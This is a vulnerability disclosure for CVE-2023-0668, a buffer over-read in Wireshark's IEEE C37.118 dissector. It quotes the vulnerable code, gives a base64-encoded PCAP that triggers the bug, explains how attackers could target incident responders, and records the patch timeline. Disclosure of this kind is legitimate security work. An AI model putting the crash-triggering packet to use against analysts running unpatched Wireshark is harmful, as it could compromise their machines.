CVE-2023-0668: CVE-2023-0668 • Austin Hackers Academy

CVE-2023-0668: Wireshark IEEE-C37.118 parsing buffer overflow

AHA! has discovered an issue with Wireshark from The Wireshark Foundation, and is issuing this disclosure in accordance with AHA!’s standard disclosure policy today, on Monday, June 5, 2023. CVE-2023-0668 has been assigned to this issue.

Executive Summary

Due to failure in validating the length provided by an attacker-crafted IEEE-C37.118 packet, Wireshark version 4.0.5 and prior, by default, is susceptible to a heap-based buffer overflow, and possibly code execution in the context of the process running Wireshark. CVE-2023-0668 appears to be an instance of CWE-125.

Technical Details

This crash is caused by an out of bounds read from the global buffer conf_phasor_type

** Note the below array contains 17 items

wireshark/epan/dissectors/packet-synphasor.c

 363 static const value_string conf_phasor_type[] = {               
 364         { 0, "Voltage, Zero sequence"           },
 365         { 1, "Voltage, Positive sequence"       },
 366         { 2, "Voltage, Negative sequence"       },
 367         { 3, "Voltage, Reserved"                },                
 368         { 4, "Voltage, Phase A"                 },                
 369         { 5, "Voltage, Phase B"                 },
 370         { 6, "Voltage, Phase C"                 },
 371         { 7, "Voltage, Reserved"                },
 372         { 8, "Current, Zero sequence"           },
 373         { 9, "Current, Positive sequence"       },
 374         { 10, "Current, Negative sequence"      },
 375         { 11, "Current, Reserved"               },
 376         { 12, "Current, Phase A"                },
 377         { 13, "Current, Phase B"                },
 378         { 14, "Current, Phase C"                },
 379         { 15, "Current, Reserved"               },
 380         {  0, NULL                              }
 381 };

In dissect_PHSCALE (which can be found in the top frame of the stack trace.) on line 1214, the tvb_get_guint8 function is used to retrieve 1 byte from the synphasor packet payload, and then uses that value as an index into the conf_phasor_type array without performing any bounds checks.

wireshark/epan/dissectors/packet-synphasor.c

1190 static gint dissect_PHSCALE(tvbuff_t *tvb, proto_tree *tree, gint offset, gint cnt)
1191 {       
1192         proto_tree *temp_tree;
1193         gint i;
1194 
1195         if (0 == cnt) {
1196                 return offset;
1197         }
1198 
1199         temp_tree = proto_tree_add_subtree_format(tree, tvb, offset, 12 * cnt, ett_conf_phconv, NULL,
1200                                                   "Phasor scaling and data flags (%u)", cnt);
1201         
1202         for (i = 0; i < cnt; i++) {
1203                 proto_tree *single_phasor_scaling_and_flags_tree;
1204                 proto_tree *phasor_flag1_tree;
1205                 proto_tree *phasor_flag2_tree;
1206                 proto_tree *data_flag_tree;
1207 
1208                 single_phasor_scaling_and_flags_tree = proto_tree_add_subtree_format(temp_tree, tvb, offset, 12,
1209                                                                                      ett_conf_phlist, NULL,
1210                                                                                      "Phasor #%u", i + 1);
1211         
1212                 data_flag_tree = proto_tree_add_subtree_format(single_phasor_scaling_and_flags_tree, tvb, offset, 4,
1213                                                                ett_conf_phflags, NULL, "Phasor Data flags: %s",
1214                                                                conf_phasor_type[tvb_get_guint8(tvb, offset + 2)].strptr);
1215         
1216                 /* first and second bytes - phasor modification flags*/
1217                 phasor_flag1_tree = proto_tree_add_subtree_format(data_flag_tree, tvb, offset, 2, ett_conf_phmod_flags,
1218                                                                   NULL, "Modification Flags: 0x%04x",
1219                                                                   tvb_get_ntohs(tvb, offset));
1220         

A Base64 encoded blob of an example PCAP that can trigger the issue is below.

1MOyoQIABAAAAAAAAAAAAP9/AAD8AAAAAAAAAAAAAAAdAQAAHQEAAAAOAAh1ZHAuc
G9ydAAgAAQAABJpAAAAAKpZAKpZAAIAAADxQgAUAAAAAQAAAAIALAAAAAAAAAAAAA
9CQP8vAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAgAsAAAAAAAAAAA
AD0JA/y8AAAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ABEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4rAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAA
BRQkgUAAD3EwD/AAAAAAAAAAAAIQAAABERAQD///8AAA==

Attacker Value

By providing this poisoned IEEE C37.118 packet, an attacker could hijack the user account of an analyst running Wireshark. Many security appliances capture packets as a matter of course for later analysis, and Wireshark is a common tool used by incident responders. So, it would be trivial for an attacker to intentionally “get caught” in order to provide their malicious packet to an incident response analyst. Once compromised, this can provide an attacker a unique, privileged position in the targeted network.

Credit

This issue is being disclosed through the AHA! CNA and is credited to: zenofex and WanderingGlitch

Timeline

Note, while we expected to publicly disclose this issue in early July (60 days after disclosure to The Wireshark Foundation), the vendor publicized the issue on May 22nd in issue 19087.

• 2023-04-27 (Wed): Initial findings presented at the regularly scheduled meeting 0x00c7.
• 2023-05-17 (Wed): PoC validated and analysis completed for disclosure.
• 2023-05-18 (Thu): Disclosed to the vendor via email at [email protected].
• 2023-05-18 (Thu): Vendor acknowledged, and opened issue 19087 to address.
• 2023-05-21 (Sun): Patch merged to the release-3.6 and release-4.0 branches of Wireshark.
• 2023-05-22 (Mon): Issue 19087 made public by the vendor.
• 2023-05-24 (Wed): CVE-2023-0668 fixed in Wireshark version 4.0.6
• 2023-06-06 (Tue): Public disclosure of CVE-2023-0668